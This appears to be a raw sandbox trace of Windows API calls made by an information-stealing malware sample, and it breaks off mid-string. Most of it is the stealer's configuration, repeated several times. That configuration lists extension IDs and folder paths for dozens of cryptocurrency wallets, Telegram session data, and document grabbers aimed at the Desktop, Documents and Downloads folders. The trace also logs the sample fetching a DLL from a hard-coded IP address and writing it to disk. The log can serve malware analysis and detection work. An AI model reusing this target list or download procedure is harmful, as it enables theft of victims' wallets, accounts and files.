Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.352] lstrlenW (lpString="sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4630 [0259.352] LocalAlloc (uFlags=0x40, uBytes=0x24ac) returned 0x6eca28 [0259.352] StrCpyW (in: psz1=0x6bbb60, psz2="sqlite3" | out: psz1="sqlite3") returned="sqlite3" [0259.352] LocalFree (hMem=0x6eca28) returned 0x0 [0259.352] lstrlenW (lpString="sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4630 [0259.352] LocalAlloc (uFlags=0x40, uBytes=0x24ac) returned 0x6eca28 [0259.353] StrCpyW (in: psz1=0x6bdfa0, psz2="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll" | out: psz1="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll") returned="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll" [0259.353] LocalFree (hMem=0x6eca28) returned 0x0 [0259.353] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6c56c8 [0259.353] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0259.353] lstrlenW (lpString="") returned 0 [0259.353] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6c03e0 [0259.353] lstrlenW (lpString="\\") returned 1 [0259.353] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0259.353] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6c56c8 [0259.354] lstrlenW (lpString="sqlite3") returned 7 [0259.354] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0259.354] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6c03e0 [0259.354] lstrlenW (lpString=".dll") returned 4 [0259.354] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\sqlite3") returned 43 [0259.354] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x6c56c8 [0259.354] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6eca28 [0259.355] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0259.355] lstrlenW (lpString="") returned 0 [0259.355] LocalAlloc (uFlags=0x40, uBytes=0x132) returned 0x6e08b0 [0259.356] lstrlenW (lpString="\r\n") returned 2 [0259.356] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0259.356] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6c03e0 [0259.356] lstrlenW (lpString="\r\n\r\n") returned 4 [0259.356] lstrlenW (lpString="Content-Type: text/plain;\r\n") returned 27 [0259.356] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6e08b0 [0259.357] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6c03e0 [0259.357] StrStrW (lpFirst="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll", lpSrch="://") returned="://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll" [0259.357] lstrlenW (lpString="51.195.166.178") returned 14 [0259.357] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc004c [0259.357] lstrlenW (lpString="Content-Type: text/plain;\r\n\r\n\r\n") returned 31 [0259.357] InternetOpenUrlW (hInternet=0xcc004c, lpszUrl="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll", lpszHeaders="Content-Type: text/plain;\r\n\r\n\r\n", dwHeadersLength=0x1f, dwFlags=0x84400000, dwContext=0x0) returned 0xcc0054 [0259.415] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\sqlite3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sqlite3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x2b4 [0259.623] StrStrW (lpFirst="sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension 